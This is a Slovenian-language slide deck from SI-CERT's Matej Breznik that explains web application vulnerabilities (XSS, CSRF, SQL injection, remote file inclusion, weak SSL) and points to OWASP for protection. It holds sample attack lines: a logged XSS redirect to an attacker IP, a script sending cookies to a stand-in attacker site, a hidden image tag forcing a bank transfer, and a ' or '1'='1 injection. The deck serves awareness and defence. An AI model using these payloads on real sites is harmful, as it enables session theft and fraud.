Matej Breznik - SI-CERT

Skrite napake
spletnih aplikacij
Matej Breznik
Agenda
• primeri
• ranljivosti
• zaščita
Shoutcast XSS
•
•
http://74.208.218.72/error/httpauth.php
•
http://pastebin.com/1HMmJGJA
<04/05/10@01:01:01> [http:74.208.218.72]
REQ:"/" (Mozilla/5.0 (Windows; U; Windows
NT 5.1; rv:1.7.3) Gecko/
20041001<script>window.location="http://
74.208.218.72/error/httpauth.php"</
script><b>Jax37</b>)
XSS
• vstopni parameter se prikaže na
izstopni strani nefiltriran/spremenjen
• problem validacije vstopnih parametrov
• možna izvedba poljubne kode na strani
brskalnika
XSS malo drugače
• echo “<b>Nevalidiran niz:</b>”.$niz;
• http://www.primer.si/?niz=<script>alert
(“Primer XSS”);</script>
•
<b>Nevalidiran niz:</b><script>alert
(“Primer XSS”);</script>
Piškotek
Piškotek
XSS - kraja seje
• http://posta.ranljivastran.si/prikaz.php?
ranljiviniz='><script>document.location=
'http://www.storilec.si/cookie_log.php?
dodaj='+document.cookie</script> '.
Facebook CSRF
CSRF
• neavtorizirana zahteva v
uporabnikovem imenu
• problem globalnega vodenja seje v
brskalniku
• zaščita - token - CsrfProtect
Žeton
CSRF malo drugače
• https://www.nasabanka.si/prenos/
prenosdobroimetja?znesek=2500
&ciljniracun=SI56300010000183013
• <img src="https://www.nasabanka.si/
prenos/prenosdobroimetja?
znesek=2500
&ciljniracun=SI56300010000183013“
width="0" height="0" />
SQL na hitro
• strukturirani povpraševalni jezik za delo
s podatkovnimi bazami
• SELECT * FROM student;
SQL na hitro
• SELECT * FROM student WHERE
student_id=‘93020411’;
SQL Injection
• SELECT * FROM student WHERE
student_id = ‘“.$id.”’;
• http://www.student.si/prikaz.php?
id=64050192
• SELECT * FROM student WHERE
student_id = ‘64050192’;
SQL Injection
• SELECT * FROM
WHERE student_id
= ‘“.$id.”’;
• http://www.student.si/prikaz.php?id=’ or
‘1=’1
• SELECT * FROM student WHERE
student_id = ‘’ OR ‘1’=’1’;
primer.si
SQL Injection
• na strežniški strani
• problem validacije
• posledice so različne
RFI
• nepravilna obravnava parametrov
• oddaljena vključitev datoteke
Neustrezna
konfiguracija
Neprimerna zaščita
prenosa - SSL
Neprimerna zaščita
prenosa - SSL
• premalo pozornosti pri validaciji potrdila
• problem ‘self-signed’ certifikatov v javni
uporabi
• problem MITM
Primerna zaščita
prenosa
• TERENA SSL
• instantssl...
OWASP
• ozaveščanje razvijalcev o ranljivostih
• Live CD